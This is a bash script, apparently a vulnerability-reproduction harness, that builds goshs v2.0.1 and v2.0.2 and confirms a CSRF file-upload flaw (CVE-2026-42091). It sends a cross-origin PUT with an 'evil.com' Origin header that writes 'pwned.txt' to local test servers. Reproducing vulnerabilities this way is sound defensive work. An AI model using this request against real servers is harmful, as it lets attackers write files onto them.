#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

REPO_DIR="$ROOT/external/goshs"
VULN_BIN="$REPO_DIR/goshs_v2.0.1"
FIXED_BIN="$REPO_DIR/goshs_v2.0.2"

VULN_PORT=18086
FIXED_PORT=18087

# Ensure no stale goshs processes
pkill -f "goshs_v2.0.1" 2>/dev/null || true
pkill -f "goshs_v2.0.2" 2>/dev/null || true
sleep 1

# Clone or update repo
if [ ! -d "$REPO_DIR" ]; then
    git clone --depth=100 https://github.com/patrickhener/goshs.git "$REPO_DIR"
fi

cd "$REPO_DIR"

# Build vulnerable version
if [ ! -f "$VULN_BIN" ]; then
    git checkout v2.0.1
    go build -o "$VULN_BIN" .
fi

# Build fixed version
if [ ! -f "$FIXED_BIN" ]; then
    git checkout v2.0.2
    go build -o "$FIXED_BIN" .
fi

# Test function: returns HTTP status code and writes file presence to log
test_version() {
    local binary="$1"
    local port="$2"
    local label="$3"
    local upload_dir="$ROOT/logs/upload_${label}"
    local logfile="$LOGS/${label}.log"
    local pidfile="$LOGS/${label}.pid"

    mkdir -p "$upload_dir"
    cd "$upload_dir"

    # Start server in background
    nohup "$binary" -p "$port" > "$logfile" 2>&1 &
    echo $! > "$pidfile"
    sleep 2

    # Wait for server to be ready
    for i in {1..10}; do
        if curl -s -o /dev/null -w "%{http_code}" "http://localhost:${port}/" | grep -q "200\|404"; then
            break
        fi
        sleep 1
    done

    # Send cross-origin PUT request (simulating browser CSRF)
    local http_status
    local response_body
    response_body=$(mktemp)
    http_status=$(curl -s -o "$response_body" -w "%{http_code}" \
        -X PUT \
        -H "Origin: http://evil.com" \
        --data-binary 'pwned' \
        "http://localhost:${port}/pwned.txt")

    # Capture response body for the log
    local response_content
    response_content=$(cat "$response_body")
    rm -f "$response_body"

    # Check if file was created
    local file_exists="false"
    if [ -f "$upload_dir/pwned.txt" ]; then
        file_exists="true"
    fi

    # Stop server
    kill "$(cat "$pidfile")" 2>/dev/null || true
    wait "$(cat "$pidfile")" 2>/dev/null || true

    # Write results to log
    cat > "$LOGS/${label}_result.json" <<EOF
{
  "version": "$label",
  "http_status": "$http_status",
  "response_body": "$response_content",
  "file_created": $file_exists,
  "upload_dir": "$upload_dir"
}
EOF

    echo "$http_status $file_exists"
}

# Test vulnerable version
echo "[*] Testing vulnerable version v2.0.1..."
read -r VULN_STATUS VULN_FILE <<< "$(test_version "$VULN_BIN" "$VULN_PORT" "vuln")"

# Test fixed version
echo "[*] Testing fixed version v2.0.2..."
read -r FIXED_STATUS FIXED_FILE <<< "$(test_version "$FIXED_BIN" "$FIXED_PORT" "fixed")"

echo ""
echo "=== Results ==="
echo "Vulnerable (v2.0.1): HTTP $VULN_STATUS, file created: $VULN_FILE"
echo "Fixed    (v2.0.2): HTTP $FIXED_STATUS, file created: $FIXED_FILE"

# Validate expectations
if [ "$VULN_STATUS" = "200" ] && [ "$VULN_FILE" = "true" ] && [ "$FIXED_STATUS" = "403" ] && [ "$FIXED_FILE" = "false" ]; then
    echo ""
    echo "[SUCCESS] CVE-2026-42091 confirmed: PUT upload CSRF vulnerability exists in v2.0.1 and is fixed in v2.0.2."
    exit 0
else
    echo ""
    echo "[FAILURE] Expected v2.0.1 to accept cross-origin PUT (200 + file created) and v2.0.2 to reject it (403 + no file)."
    echo "Got: v2.0.1 status=$VULN_STATUS file=$VULN_FILE; v2.0.2 status=$FIXED_STATUS file=$FIXED_FILE"
    exit 1
fi
